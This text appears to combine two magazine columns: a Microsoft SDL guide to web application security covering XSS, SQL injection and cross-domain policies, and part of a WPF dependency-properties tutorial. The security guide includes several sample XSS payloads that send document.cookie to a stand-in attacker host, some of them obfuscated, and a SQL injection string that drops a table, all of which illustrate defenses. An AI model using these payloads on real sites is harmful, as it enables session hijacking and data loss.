The answer is, it does pay attention to these issues. The Microsoft® Online Services Security and Compliance team has been instrumental in identifying Web application security issues and addressing them in the SDL. However, these SDL requirements have previously not been available outside of Microsoft. The Web application-specific SDL requirements are some of the newest requirements, and the team wanted to make sure they were demonstrably effective before taking them outside the company. As online vulnerabilities rise across the industry, the team is confident enough in the effectiveness of the online service SDL requirements to share them here for the first time.
Please note that the rest of this column assumes you are familiar with Web application security issues such as XSS and SQL injection. If you are not comfortable with these concepts, please read up on them before continuing—good background material on these vulnerabilities can be found in the book 19 Deadly Sins of Software Security by Michael Howard, David LeBlanc, and John Viega (McGraw-Hill 2005).

XSS: The New Buffer Overflow
In many respects, an XSS vulnerability is just as dangerous as a buffer overflow. Security professionals—even Web security professionals—often disagree with me when I make this claim. But consider that some of the most damaging attack payloads of buffer overflow exploits are exactly the same as XSS payloads.
XSS attacks can steal users' personal data such as credit card or bank account numbers; they can steal users' passwords; they can even create self-replicating Web worms that spread throughout a site, choking its resources and slowing it to a crawl.

Validate All Input
Clearly, XSS should be taken seriously, and the SDL does take it seriously by requiring online services teams to follow certain development standards. First, all input to the application from a user, a component, or another program should be validated to ensure that the input is free from unsafe markup and script characters before processing that input. For example, let's say a user enters the following text in a textbox:
My name is <a href=
"javascript:document.location='http://fabrikam.com/'+document.cookie">
Amy</a>
This input should be rejected entirely as malicious. Alternatively, the text could be stripped of its markup, back to the following:
My name is Amy
However, this sanitizing stripping approach is dangerous since there are many ways to escape special characters. The character < can be encoded as &lt, &#60, &#x3c, or %3c. Unless you know all the possible escaped versions of all the special characters—and you probably won't—it's best just to compare the input value against an expected format and reject it if it doesn't match. But why? What's so bad about markup tags?
Markup tags are dangerous because even the most innocuous-looking tags like <b> and <i> can contain script attributes. Your application may not be at risk from this input:
My name is <b>Amy</b>
But this is a completely different story:
My name is <b onmouseover="document.location = 'http://fabrikam.com/' + document.cookie">Amy</b>
A user who views this page and moves her mouse pointer over the word "Amy" will inadvertently send the document cookie (which may contain her authentication token) to fabrikam.com, presumably where hackers are waiting to pounce on it and steal her identity. To solve this problem, the SDL lets only a small whitelist of safe HTML elements, shown in Figure 1, in user input.
Figure 1 Allowed HTML Tags
<a>
<b>
<blockquote>
<br>
<div>
<em>
<font>
<i>
<li>
<ol>
<p>
<strong>
<u>
<ul>
The SDL also permits a small set of attributes for these elements, but before we get into this, it's more important to discuss validation techniques. One of the most effective techniques for validating user input is to use a regular expression, either through the RegularExpressionValidator control or the Regex class:
// ensure the user input matches the form of a US ZIP code
if (!Regex.IsMatch(TextBox1.Text,@"^\d{5}$") {
  // stop processing this request, it's potentially malicious
  throw new HttpRequestValidationException();
}
This methodology is easiest when the user input is meant to have a well-defined structure like a phone number or e-mail address, but it's still possible even with more widely varying input like people's names. The following regular expression test will match on any combination of Unicode letter characters plus spaces and apostrophes (to allow for names like O'Brien) and that is at least 1, but no more than 40, characters long:
if (!Regex.IsMatch(TextBox1.Text,@"^[\p{L}'\s]{1,40}$") {
  // stop processing this request, it's potentially malicious
  throw new HttpRequestValidationException();
}
The next step is to modify the regular expression to allow for bold and italic tags:
if (!Regex.IsMatch(
  TextBox1.Text,@"^([\p{L}'\s]|<b>|</b>|<i>|</i>){1,40}$") {
...
You could continue to modify this regular expression to match on all of the SDL-allowed elements, attributes, and attribute values, but this would make it complex and prone to error (and thus prone to attack). In most cases, it will be simpler and safer to either deny markup completely or to define a subset of the SDL-allowed elements (like <b> and <i>) and deny attributes on those elements.

Use ValidateRequest
ASP.NET versions 1.1 and later include a ValidateRequest page directive that will stop some malicious user input that could lead to XSS exploits:
<%@ Page ValidateRequest="true">
You can also set this property in a web.config file so that it will apply to the entire application:
<configuration>
    <system.web>
       <pages validaterequest="true"/>
    </system.web>
  </configuration>
Since ValidateRequest is enabled by default, all you have to do is ensure that you don't explicitly disable it, either with page directives or configuration files. Note that ValidateRequest will block any requests that contain HTML or XML. If your page is intended to accept HTML or XML input from the user, you will need to disable ValidateRequest, but be sure to follow the input validation guidelines discussed previously.
Finally, I want to point out that ValidateRequest will mitigate only the simplest of XSS attacks. There are many well-known loopholes in the ValidateRequest logic that will allow malicious input to get through. So although ValidateRequest is still worth using because you essentially get it for free, but it's best to consider it a defense-in-depth measure. Proper input validation and output encoding are much more crucial to XSS defense. Never rely on ValidateRequest alone.

Encode Output
Ultimately, XSS vulnerabilities are exploited when the malicious script is executed in the victim's browser. One of the most important and effective SDL defenses against XSS is to encode output before it gets written to the response. Consider the following vulnerable C# ASP.NET code:
<html>
  <body>
    Hello, <%= Request.QueryString["name"] %>
  </body>
</html>
All an attacker has to do is craft a URL with a value of the "name" query string parameter that contains his malicious script, trick an unsuspecting user into following that URL, and the attacker's code will be executed in the user's browser:
http://www.adatum.com/mypage.aspx?name=<script>
document.location='http://fabrikam.com/'%2bdocument.cookie;</script>
However, if you change the source code so that it encodes the output before writing it to the response, then the attack is negated:
<html>
  <body>
    Hello, <%= Server.HtmlEncode(Request.QueryString["name"]) %>
  </body>
</html>
Now the attacker's <script> text will be harmlessly rendered in the user's browser as text and not executed as active content.
This defense can be very effective against XSS attacks, but unfortunately it's not always as simple to implement as I've demonstrated in the preceding code snippet. Also, for this approach to work consistently, you have to vary the encoding method depending on how and where the user input is being rendered in the response.
To explain this even further, I am going to show you another example, one that features the user input written back to the page not as plain HTML, but instead as an attribute value of another HTML element:
<html>
  <body>
    <img src='image.jpg' alt='<%=Request.QueryString["alt"]%>' />
  </body>
</html>
As this code is written—without HTML encoding—it is trivially exploitable:
http://www.adatum.com/mypage.aspx?alt='><script>
document.location='http://fabrikam.com/'%2bdocument.cookie;</script>
You could add a call to Server.HtmlEncode:
<html>
  <body>
    <img src='image.jpg'
      alt='<%=Server.HtmlEncode(Request.QueryString["alt"])%>' />
  </body>
</html>
But the code is still exploitable, albeit with a bit more work on the attacker's part:
http://www.adatum.com/mypage.aspx?alt='%20onmouseover=
   eval('document.location='.concat(String.fromCharCode(34)).concat('http://fabrikam.com/').
   concat(document.cookie).concat(String.fromCharCode(34)))%20foo='bar
This attack string contains no characters that would be affected by HTML encoding, such as double-quotation marks or less-than/greater-than signs.
You can see that simple HTML encoding is not sufficient protection from XSS in this case. HTML encoding is also not sufficient when user input is being written out as part of a URL:
<html>
  <body>
    <a href="mypage.aspx?foo=<%=Request.QueryString["foo"]%>">
      Click me!</a>
  </body>
</html>
Or when user input is being written out as script:
<html>
  <body>
    <script>
      var name = <%=Request.QueryString["name"]%>;
      alert('Hello ' + name + '!');
    </script>
  </body>
</html>
In fact, there are seven cases that require different output encoding: plain HTML, HTML attribute, URL, JavaScript, VBScript, XML, and XML attribute. It would be very tedious and error-prone to try to cover each of these cases as they come up in the source code. Happily, the Microsoft Application Consulting and Engineering (ACE) team has created an Anti-XSS output encoding library to help with this process; all you have to do is make a call to the appropriate encoding method depending on the output format:
<html>
  <body>
    Hello, <%=AntiXss.HtmlEncode(Request.QueryString["name"])%>
    <img src='image.jpg'
     alt='<%=AntiXss.HtmlAttributeEncode(Request.QueryString["alt"])%>'>
    </img>
  </body>
</html>
The SDL requires the use of the Anti-XSS library for all managed-code online services. Version 1.5 of the Anti-XSS library is available to the public at go.microsoft.com/fwlink/?LinkId=122628.

Use Static Analysis to Test for Vulnerabilities
The SDL is more than just guidance and education; tools are also an important part of the SDL. Analysis tools are especially valuable during the verification (security testing) phase of the SDL to ensure that SDL design and implementation guidelines have been followed correctly and that no potential vulnerabilities slip through the cracks.
The Microsoft Online Services teams use a static analysis tool called CAT.NET (short for Code Analysis Tool for .NET). CAT.NET is required by the SDL and can detect many of the most prevalent and dangerous Web application security vulnerabilities, including XSS, SQL injection, and redirection to user-controlled sites (which facilitates phishing attacks).
Like the Anti-XSS output encoding library, CAT.NET was developed by the Microsoft ACE team. Unlike Anti-XSS, CAT.NET is not yet available outside of Microsoft. However, there is a publically available beta version of CAT.NET that detects cross-site scripting vulnerabilities. This tool is called XSSDetect and can be found at go.microsoft.com/fwlink/?LinkId=122629.

SQL Injection
Earlier this year, millions of classic-ASP Web sites fell victim to a mysterious attack in which malicious script tags were embedded into the page content. The issue was originally reported as a possible vulnerability in IIS, but eventually it turned out that IIS was not to blame and the sites had SQL injection vulnerabilities that were being exploited.
Only ASP sites were being affected because the attackers had a SQL injection payload specific to SQL Server®, and presumably they guessed that ASP sites were more likely to use SQL Server as a back-end database. The attack soon spread to ASP.NET sites as well, proving two things: SQL injection is not going away any time soon, and using managed code will not automatically protect you from SQL injection.
The SDL covers SQL injection defense with three requirements. First, applications must access databases only through parameterized stored procedures. Second, stored procedures must not use the "EXECUTE @sql" command. Finally, the application service account should be granted permission only to execute those stored procedures.

Use Parameterized Stored Procedures
The root cause of SQL injection vulnerabilities is SQL commands that are created and executed in an ad hoc fashion by concatenating SQL command text with user input. Here is an example:
// This code is vulnerable to SQL injection - DO NOT USE
SqlCommand command = "SELECT * FROM [CustomerRecord]
WHERE CustomerName = '" + Request["CustomerName"] + "'";
This code allows attackers to specify SQL code of their own in the CustomerName parameter value that will then get passed to the database and executed. The problem is that there is not a clear separation between code and data. However, if you change this code to use a parameterized stored procedure rather than constructing command text on the fly, you can enforce a more clear separation between code and data:
SqlCommand command = "FindCustomerRecord";
command.CommandType = CommandType.StoredProcedure;
command.Parameters.Add(new SqlParameter("@CustomerName",
  SqlDbType.NVarChar, 16, Request["CustomerName"]));
The corresponding stored procedure code would be:
CREATE PROCEDURE dbo.FindCustomerRecord
(
  @CustomerName nvarchar(16)
)
AS
  SELECT * FROM [CustomerRecord] WHERE CustomerName = @CustomerName
RETURN
Note that this code, in contrast to the original code, is secure against SQL injection.
As an example, let's say an attacker attempts to inject his own malicious SQL into the CustomerName parameter:
http://www.adatum.com/mypage.aspx?CustomerName=foo';DROP%20TABLE%20CustomerRecord
The application code will now escape the attack string text so that it is correctly interpreted by the stored procedure as data instead of as command text.
Note that some critics might argue that there is no real need for stored procedures here. These critics would counsel that a simple inline parameterized query would be sufficient to protect against SQL injection:
SqlCommand command =
"SELECT * FROM [CustomerRecord] WHERE CustomerName = @CustomerName";
command.CommandType = CommandType.Text;
command.Parameters.Add(new SqlParameter(
  "@CustomerName", SqlDbType.NVarChar, 16, Request["CustomerName "]));
To a certain extent, this is true: if you always use parameterized queries with the parameter types properly specified, you should be safe from SQL injection. However, using stored procedures can not only provide better performance than inline parameterized queries, it can provide another important defense-in-depth measure. It does this by allowing you to set permissions on just stored procedures and mask the underlying database objects from the application service account (this will be covered in more detail later in this column).
The most important point you need to take away from this is that you should avoid creating concatenated ad hoc SQL commands at all costs. There are significant benefits to using stored procedures; however, if you are unable to do so, then inline parameterized queries must be used instead.

Avoid "EXECUTE @sql"
One of the most persistent misconceptions about SQL injection defense is that the use of stored procedures alone will prevent SQL injection. It's essential to remember that the real culprit behind SQL injection is the concatenated command string. Therefore, if you merely move the string concatenation to the stored procedure code, you're no better off than before:
CREATE PROCEDURE dbo.FindCustomerRecord
(
  @CustomerName nvarchar(16)
)
AS
  EXECUTE('SELECT * FROM [CustomerRecord] WHERE CustomerName = ''' +   @CustomerName + '''')
RETURN
The SDL prohibits the use of the T-SQL EXECUTE or EXEC command to execute SQL queries specified as string arguments, as shown in the previous example. This prohibition also extends to queries that do not directly concatenate user input into the command text.
Here's a sample stored procedure that is potentially vulnerable to a SQL injection attack even though it takes no parameters:
CREATE PROCEDURE dbo.FindBestCustomerRecord
AS
  DECLARE @CustomerName NVARCHAR(16)
  SELECT TOP 1 @CustomerName = CustomerName FROM [Purchase] ORDER BY PurchaseAmount
  EXECUTE('SELECT * FROM [CustomerRecord] WHERE CustomerName = ''' +   @CustomerName + '''')
RETURN
This procedure may appear to be secure since it's not building the query based on user input. Or is it? If users are able to specify their own customer names, then it just might be possible for an attacker to craft a malicious customer name that contains SQL commands. Were this to be the case, then when the FindBestCustomerRecord stored procedure executes, the attacker's SQL text will also execute.
This is an example of a second-order SQL injection vulnerability, where the attack payload is not immediately executed but rather stored in the system and then executed at a later time by a different function. By banning EXECUTE and EXEC when used with SQL command string arguments, the SDL protects against both second-order and more traditional first-order SQL injection vulnerabilities. The only approved use of EXECUTE is to call other stored procedures, like this:
CREATE PROCEDURE dbo.FindBestCustomerRecord
AS
  DECLARE @CustomerName NVARCHAR(16)
  SELECT TOP 1 @CustomerName = CustomerName FROM [Purchase] ORDER BY PurchaseAmount
  EXECUTE FindCustomerRecord @CustomerName
RETURN

Restrict Database Permissions
As I mentioned earlier, the SDL requires developers to use stored procedures when accessing a database. This requirement is primarily meant to prevent developers from writing concatenated ad hoc SQL commands, but another great benefit is that it allows you to restrict database permissions as an additional defensive measure.
The final SDL requirement for SQL injection defense is to only grant the application service account the EXECUTE permission only for the database stored procedures. To clarify, all direct SELECT, INSERT, UPDATE, and DELETE permissions on the database tables and views should be revoked, and only EXECUTE on the stored procedures should be granted. Of course, it should also go without saying that any unused built-in stored procedures (like xp_cmdshell) should not have access granted to them. In fact, these stored procedures should be disabled or removed entirely. If you are using SQL Server 2005 or later, you can use the Surface Area Configuration tool to do this.
This requirement is unique among the SDL SQL injection defense requirements in that it's more of a defense-in-depth measure than a pure vulnerability prevention. If a SQL injection vulnerability does slip into your code, restricting account permissions won't stop an attacker from finding it. But without direct access to the tables, it will prevent the attacker from being able to exploit the vulnerability. The attacker will only be able to execute the stored procedures, and to even do that he will need to know or guess the stored procedure names and arguments.
Without access to the object catalog views such as sys.objects (or the non-SQL Server equivalents), any blind SQL injection attack will be much more difficult, if not impossible. The attacker will be reduced to pure guessing or brute force attacks, neither of which are particularly effective. Just be sure not to make the attacker's job easier by giving him detailed error messages! Set the mode of the <customErrors> configuration element to either On or RemoteOnly to return generic, non-descriptive error messages.

Cross-Domain Trust Issues
In theory, the same origin policy prevents client-side script code executing in a Web browser from interacting with any other document loaded into a browser window or frame, unless that document has the same origin as the page running the script. Note that in this case, "origin" is defined by the combination of the document's domain, protocol, and port. For example, let's say your page is found at http://www.adatum.com/page.aspx. The table in Figure 2 gives some examples of sites that your page would be prohibited from interacting with and the reason for the prohibition.
Figure 2 Prohibited Cross-Domain Sites
Site | Why prohibited?
https://www.adatum.com/page.aspx | Different protocol
http://www.adatum.com:8080/ page.aspx | Different port
http://www.fabrikam.com/page.aspx | Different domain
http://foo.adatum.com/page.aspx | Different domain
From a security-centric standpoint, the same origin policy is incredibly valuable and prevents malicious Web sites from gaining unauthorized access to data on other sites. However, it also limits some innovative and useful application scenarios (like client-side mashups), and so Web developers constantly clamor for new methods to bypass it.

Document.domain
One way to circumvent the same origin policy is to edit the domain property of the Document Object Model (DOM) Document object. This value defaults to the domain from which the document was loaded, so in my example this would be www.adatum.com. However, it is possible to change this value to a less-specific value such as adatum.com (without the www). If a page loaded from www.adatum.com and another page from blog.adatum.com both lowered their document.domain property to adatum.com, then they would be able to communicate with each other even though they came from different origins.
It's important to note that most—but not all—Web browsers prohibit you from lowering the document.domain property to the top-level-domain level (such as just .com or .net) or to change it to a completely different domain (such as www.contoso.com). These are the technical restrictions imposed by Web browsers. However, the SDL also places its own policy restrictions on lowering the document.domain value, since there are significant security implications with this act.
By broadening the number of sites that can communicate with the page, you also broaden the number of sites that can attack the page through XSS attacks. In other words, normally www.adatum.com/page.aspx would only be vulnerable to XSS attacks coming from www.adatum.com. However, if you decide to lower document.domain to adatum.com, then the page would also be vulnerable to XSS attacks that come from alice.adatum.com, barry.adatum.com, and any other subdomain of adatum.com.
To prevent sensitive data loss in this scenario, the SDL prohibits any site from lowering document.domain unless that site does not deal with personally identifiable information (PII) in any form and does not deal with any medium or high business impact data.

Crossdomain.xml
Another popular method used to bypass the same origin policy is the crossdomain.xml policy file. Crossdomain.xml was originally implemented by Macromedia (now part of Adobe) to allow Flash movies to communicate with servers other than the ones they were loaded from. Microsoft Silverlight 2™ also respects crossdomain.xml policy files to allow Silverlight applications to communicate across different domains.
Crossdomain.xml files are usually hosted on the domain root (for example, www.adatum.com/crossdomain.xml) and list all the external domains that will be granted access. Here's an example of a crossdomain.xml file:
<cross-domain-policy>
  <allow-access-from domain="www.contoso.com"/>
</cross-domain-policy>
This file configures the server to allow access from any Flash or Silverlight application hosted on www.contoso.com. Crossdomain.xml will also permit wildcards in the allow-access-from specifications:
<cross-domain-policy>
  <allow-access-from domain="*.contoso.com"/>
  <allow-access-from domain="*.net"/>
</cross-domain-policy>
It is important to note that this configuration allows access from any subdomain of contoso.com and also any site that has a top-level domain of .net. In fact, if you want to, you can even grant access to the entire Internet:
<cross-domain-policy>
  <allow-access-from domain="*"/>
</cross-domain-policy>
Perhaps unsurprisingly, the SDL takes a dim view of such overly permissive configurations. The use of crossdomain.xml is covered by the following rules: first, if a site is not meant to be accessed by other domains, then all crossdomain.xml files must be removed from the site. This is a straightforward reduction in attack surface. Second, if a site is meant to be accessed by other domains and has application functionality available only to authenticated users, then this site can host a crossdomain.xml file, but this file cannot contain wildcards in its allow-access-from elements. All allowed domains must be fully qualified.
Only if all applications on the site are completely public—and that means no authenticated access and no PII—does the SDL permit broad-reaching wildcard crossdomain.xml entries that grant access to the entire Internet. Keep in mind that if you take this option, you will certainly need to keep a close eye on all the applications on the domain to ensure that no functionality requiring authentication is ever added. In practice, it's probably going to be both easier and safer to avoid wildcards and explicitly specify the sites that need access.

We're just Getting Warmed Up
I hope you found this first look at the SDL Web application requirements informative, and I hope you take the opportunity to implement them in your organization's Web development teams. And rest assured that we're not stopping here. The SDL team has several new Web-specific requirements currently being beta-tested by online services groups inside Microsoft. As these requirements graduate from beta and become full-fledged members of the SDL, we'll keep the SDL blog (blogs.msdn.com/sdl) updated with more information on them.
Bryan would like to thank Spencer Low for his contributions to this column and Grant Bugher, Martin Rues, and Shankar Bharadwaj for their effort in bringing the online services requirements to the SDL.

Send your questions and comments to briefs@microsoft.com.

Bryan Sullivan is a Security Program Manager for the Microsoft Security Development Lifecycle team, where he specializes in Web application security issues. His first book, Ajax Security, was published by Addison-Wesley in December 2007.


Foundations
Dependency Properties And Notifications
Charles Petzold

Code download available at: Foundations2008_09a.exe (158 KB)
Browse the Code Online
Contents
Dependency Property Basics
Binding Sources and Targets
Custom Collections with Notifications
Dependency Properties and Events
Dynamic Binding Technique
The Freezable Difference
Using DependencyPropertyDescriptor
Collections of DependencyObjects
Objects these days seem to get bossed around a lot. Everybody wants to tell them what to do. A typical object in a Windows® Presentation Foundation (WPF) application can be bombarded by a variety of different requests: bind to this data, style yourself like this, inherit from your visual parent, and now entertain us with some animation.
How can objects establish boundaries and priorities? The WPF answer is a feature known as dependency properties. By providing a structured way for WPF classes to respond to changes that result from data bindings, styles, inheritance, and other sources, dependency properties have become as important as events and event handling were to an earlier generation of .NET programmers.
Yet there are some traditional tasks where dependency properties don't quite provide everything you might need. Suppose you have access to an object with dependency properties and you want to be notified when one of those properties changes. This sounds like a straightforward job for an event handler—until you realize that the event you need simply does not exist!
This problem becomes crucial when you're working with collections of objects. In some cases you might want to be informed of changes to particular dependency properties of the objects in this collection. The only existing solution is FreezableCollection<T>, which tells you when something has changed—but doesn't tell you what that something is.
In other words, dependency properties don't always play well with others. Compensating for their lack of notification events is what this column is all about.

Dependency Property Basics
Suppose you're designing a WPF class named PopArt and you want to define a property named SwirlyBrush of type Brush. If PopArt descends from DependencyObject, you can define SwirlyBrush as a DependencyProperty. The first step is a public static read-only field:
public static readonly DependencyProperty SwirlyBrushProperty;
The dependency property has the same name as the property, but with the word "Property" appended. As part of either the field declaration or the static constructor, you then register the dependency property:
SwirlyBrushProperty = DependencyProperty.Register("SwirlyBrush",
  typeof(Brush), typeof(PopArt),
  new PropertyMetadata(OnSwirlyBrushChanged));
You also need a regular property definition (sometimes called the CLR property) that provides normal access to this property:
public Brush SwirlyBrush {
  set { SetValue(SwirlyBrushProperty, value); }
  get { return (Brush) GetValue(SwirlyBrushProperty); }
}
The SetValue and GetValue methods are defined by DependencyObject, which is why any class that defines dependency properties must derive from that class. The CLR property should not include any other code except the calls to these two methods. The CLR property is often said to be "backed" by the dependency property.
The OnSwirlyBrushChanged method referenced in the dependency property registration is a callback method that is invoked whenever the SwirlyBrush property changes. Because this method is associated with a static field, it must be a static method:
static void OnSwirlyBrushChanged(DependencyObject obj,
  DependencyPropertyChangedEventArgs args) {
  ...
}
The first argument is the particular instance of the class whose property is changing. If you've defined this dependency property in a class named PopArt, then the first argument is always an object of type PopArt. I like to define an instance method with the same name as the static method. The static method then just calls the instance method like this:
static void OnSwirlyBrushChanged(DependencyObject obj,
  DependencyPropertyChangedEventArgs args) {
  (obj as PopArt).OnSwirlyBrushChanged(args);
}

void OnSwirlyBrushChanged(DependencyPropertyChangedEventArgs args) {
  ...
}
The instance method includes whatever is needed to accommodate changes to the value of SwirlyBrush.
In code, you can set the value of the SwirlyBrush property in an instance of PopArt in the normal manner:
popart.SwirlyBrush = new SolidColorBrush(Colors.AliceBlue);
However, it's important to note that there exists a public static field in the PopArt class named PopArt.SwirlyBrushProperty. This field is a valid object of type DependencyProperty that exists independently of any object of type PopArt. This allows you to reference a particular property of a class prior to the creation of objects that have that property.
The SetValue method defined by DependencyObject is also public, so you can also set the SwirlyBrush property like this:
popart.SetValue(PopArt.SwirlyBrushProperty,
  new SolidColorBrush(Colors.AliceBlue));
What's more, if you have the three objects described in Figure 1, you can set that property with this completely generalized code:
target.SetValue(property, value);
Figure 1 Objects
Object | Description
target | An instance of a class that derives from DependencyObject.
property | An object of type DependencyProperty.
value | An object of the correct type of the dependency property.
If the type of value does not agree with the type associated with the DependencyProperty (in my example, Brush), an exception will be raised. But the IsValidType method defined by DependencyProperty can help avoid problems like that.
The process of referencing and setting properties using DependencyProperty objects with SetValue and GetValue is cleaner than earlier methods of referring to properties with character strings such as "SwirlyBrush." Properties specified this way required reflection to actually set the property.

Binding Sources and Targets
The extensive use of dependency properties in WPF is not so evident when you set data bindings, styles, and animations in XAML, but it's obvious when you do these tasks in code. The SetBinding methods defined by BindingOperations and FrameworkElement require an object of type DependencyProperty as the binding target. The Setter class used in WPF styles requires DependencyProperty objects. The BeginAnimation method also requires a DependencyProperty object for the animation target.
These targets must all be DependencyProperty objects so that WPF can properly impose precedence rules. For example, property values set by an animation have precedence over values set by styles. (You can use the DependencyPropertyHelper class if you need to know which possible source was responsible for the value of a particular property.)
Although data-binding targets must be dependency properties, binding sources do not need to be dependency properties. Obviously the binding source must implement some kind of notification mechanism if the binding is to be successful in monitoring changes in the source, but WPF actually allows three different types of source notifications. These are mutually exclusive.
The first (and preferred) approach is to use dependency properties for both sources and targets. This is a particularly good solution when the same properties serve as both binding sources and targets in different contexts.
The second approach involves defining an event based on the property name. If a class defines a property named Flavor, for example, it would also define an event named FlavorChanged. As the name of the event suggests, the class fires this event whenever the value of Flavor changes. This type of notification was used extensively in Windows Forms (for example, the Enabled property defined by Control had a corresponding EnabledChanged event). But it should be avoided for WPF code, and I won't be discussing it further.
The final allowable approach is implementing the INotifyPropertyChanged interface, which requires the class to define an event named PropertyChanged based on the PropertyChangedEventHandler delegate. The associated PropertyChangedEventArgs object has a property named PropertyName that is a text string of the name of the property that's changed.
For example, if the class has a property named Flavor and a private field named flavor, the set accessor for the property would look something like this:
flavor = value;

if (PropertyChanged != null)
  PropertyChanged(this, new PropertyChangedEventArgs("Flavor");
A class interested in changes to the Flavor property can simply subscribe to the PropertyChanged event and be notified when this property (or any other property in the class) changes.
The INotifyPropertyChanged interface is not foolproof. All the interface mandates is an event named PropertyChanged. There is no guarantee that the class will ever fire this event. In many cases, a class will fire the event for some of its public properties but not all. If you don't have access to the source code, there's no good way to tell beforehand which properties fire the PropertyChanged event and which do not.
Regardless, the INotifyPropertyChanged remains a good, simple solution for properties that will not be targets of WPF data bindings, styles, or animation, but that must provide change notifications to other classes.

Custom Collections with Notifications
It is sometimes necessary to have a collection of objects and to be notified whenever a property of one of these objects change. Most valuable would be a notification that tells you exactly which item in the collection changed and also which specific property of that item changed.
This is a fairly easy task when the objects in the collection implement the INotifyPropertyChanged interface and the collection itself implements INotifyCollectionChanged. A collection that implements this interface fires a CollectionChanged event whenever new items are added to the collection or existing items are removed. The CollectionChanged event provides lists of these added and removed items. Perhaps the most popular collection object that implements INotifyCollectionChanged is the generic ObservableCollection<T> class.
Let's create a custom collection class that derives from ObservableCollection<T> and implements a new event named ItemPropertyChanged. This event will be fired whenever a property of any item in the collection changes, and it will be accompanied by event arguments that include the item and the changed property. Figure 2 shows the ItemPropertyChangedEventArgs class that derives from PropertyChangedEventArgs to include a new property named Item of type object. Figure 2 also shows the ItemPropertyChangedEventHandler delegate.
Figure 2 ItemPropertyChangedEventArgs
public class ItemPropertyChangedEventArgs : PropertyChangedEventArgs {
  object item;

  public ItemPropertyChangedEventArgs(object item,
    string propertyName) : base(propertyName) {
    this.item = item;
  }

  public object Item {
    get { return item; }
  }
}

public delegate void ItemPropertyChangedEventHandler(object sender,
  ItemPropertyChangedEventArgs args);
The ObservableNotifiableCollection<T> that derives from ObservableCollection<T> and defines the ItemPropertyChanged event is shown in Figure 3. Notice that the new class constrains the type parameter to objects of type INotifyPropertyChanged. During the OnCollectionChanged override, the class registers a PropertyChanged event handler for each item being added to the collection and removes it when an item is removed from the collection. During the item's PropertyChanged event, the collection fires an ItemPropertyChanged event. The sender object of the PropertyChanged event (which is the item whose property is changing) becomes the Item property of the ItemPropertyChangedEventArgs.
Figure 3 The ObservableNotifiableCollection<T> Class
class ObservableNotifiableCollection<T> :
  ObservableCollection<T> where T : INotifyPropertyChanged {

  public ItemPropertyChangedEventHandler ItemPropertyChanged;

  protected override void OnCollectionChanged(
    NotifyCollectionChangedEventArgs args) {

    base.OnCollectionChanged(args);

    if (args.NewItems != null)
      foreach (INotifyPropertyChanged item in args.NewItems)
        item.PropertyChanged += OnItemPropertyChanged;

    if (args.OldItems != null)
      foreach (INotifyPropertyChanged item in args.OldItems)
        item.PropertyChanged -= OnItemPropertyChanged;
  }

  void OnItemPropertyChanged(object sender,
    PropertyChangedEventArgs args) {

    if (ItemPropertyChanged != null)
      ItemPropertyChanged(this,
        new ItemPropertyChangedEventArgs(sender,
        args.PropertyName));
  }
}
The code shown inFigures 2 and 3 are part of the ObservableNotifiableCollectionDemo project included in the downloadable code for this column. The project also includes a small demonstration program.

Dependency Properties and Events
Although dependency properties make fine binding sources, they do not provide a general notification mechanism in the form of a public event. This annoying fact usually comes as a bit of a shock the first time you go searching for such an event.
However, DependencyObject does define a protected OnPropertyChanged method. This method is fundamental to the way DependencyObject works. Judging from my experimentation, OnPropertyChanged is called as a result of calls to SetValue, and it is OnPropertyChanged that invokes the callback methods associated with the individual dependency properties. The documentation of OnPropertyChanged contains plenty of warnings about the dangers of overriding this method.
If you are writing a class that implements dependency properties, you might anticipate that a user of the class will want events to be fired whenever particular dependency properties change. In this case, you can explicitly provide these events. Give the event the name of the property with the word "Changed" appended (similar to the way events were named in Windows Forms), but define the event using the DependencyPropertyChangedEventHandler delegate. As models, you'll find many events in UIElement that are associated with dependency properties, including FocusableChanged and IsEnabledChanged.
For the PopArt example I showed earlier, you can define a SwirlyBrushChanged event like this:
public event DependencyPropertyChangedEventHandler
  SwirlyBrushChanged;
During the instance version of the OnSwirlyBrushChanged method I showed earlier, fire the event like so:
if (SwirlyBrushChanged != null)
  SwirlyBrushChanged(this, args);
This code is so astonishingly trivial that it's surprising more dependency properties don't have associated events.
Unfortunately, if the author of the class you need to use has not kindly provided the events you need, you must find another way to receive notifications when a particular dependency property changes. Happily, there are at least three solutions: one strange, one sledgehammer, and one from left field.

Dynamic Binding Technique
The strange approach to receiving notifications of changes in dependency properties involves dynamically creating both a dependency property and data binding. If you're writing a class that descends from DependencyObject, have access to an object that contains dependency properties, and need to be notified when one of those dependency properties changes, you can create a dependency property and a binding on the fly to give you the information you need.
For example, suppose your class has access to an object of type TextBlock named txtblk and you want to know when the Text property changes. The Text property is backed by a DependencyProperty named TextProperty, but TextBlock doesn't define a TextChanged event. To compensate for this, you first register a DependencyProperty of the same type as the property you want to monitor:
DependencyProperty MyTextProperty =
  DependencyProperty.Register("MyText", typeof(string), GetType(),
  new PropertyMetadata(OnMyTextChanged));
This DependencyProperty object does not need to be a public static field. As demonstrated here, it can be registered inside an instance method. The OnMyTextChanged callback can also be an instance method.
After you've registered the DependencyProperty, you can define a binding from the TextBlock object to this property:
Binding binding = new Binding("Text");
binding.Source = txtblk;
BindingOperations.SetBinding(this, MyTextProperty, binding);
Any changes to the Text property of the txtblk object will now call your OnMyTextChanged callback.
You can even register this DependencyProperty and define the callback without knowing anything about the DependencyObject and DependencyProperty you're monitoring. Suppose you only know you need to keep track of a DependencyProperty variable named property in a DependencyObject derivative named obj. Here's the code:
DependencyProperty OnTheFlyProperty =
  DependencyProperty.Register("OnTheFly",
  property.PropertyType,
  GetType(),
  new PropertyMetadata(OnTheFlyChanged));

Binding binding = new Binding(property.Name);
binding.Source = obj;
BindingOperations.SetBinding(this, OnTheFlyProperty, binding);
This solution is best for one or more properties of a single object. Once you start dealing with multiple objects of the same type (such as in a collection), you need to create unique on-the-fly dependency properties and bindings for each property of each object. The whole scheme quickly gets out of hand.

The Freezable Difference
The Freezable class is the sledgehammer approach to receiving notifications about changes to dependency objects. It certainly does the job, but you can't actually figure out what it is that the sledgehammer clobbered.
Freezable overrides the OnPropertyChanged method defined by DependencyObject and defines a new property named Changed that is documented as being fired whenever "this Freezable or any object it contains is modified" (emphasis added). That's a bold statement, and it is indeed true as long as "any object it contains" is understood as sub-properties of type Freezable, which are backed by dependency properties.
For example, suppose that you have a Freezable class named A with a property named B of type B. The B class also derives from Freezable and has a property named C of type C. The C class also derives from Freezable and has a property named D of type double. All these properties are backed by dependency properties. Create objects of all these types; change property D; and classes A, B, and C all fire Changed events. (Note that the NestedFreezableNotificationsDemo project included with the source code download for this column demonstrates this.)
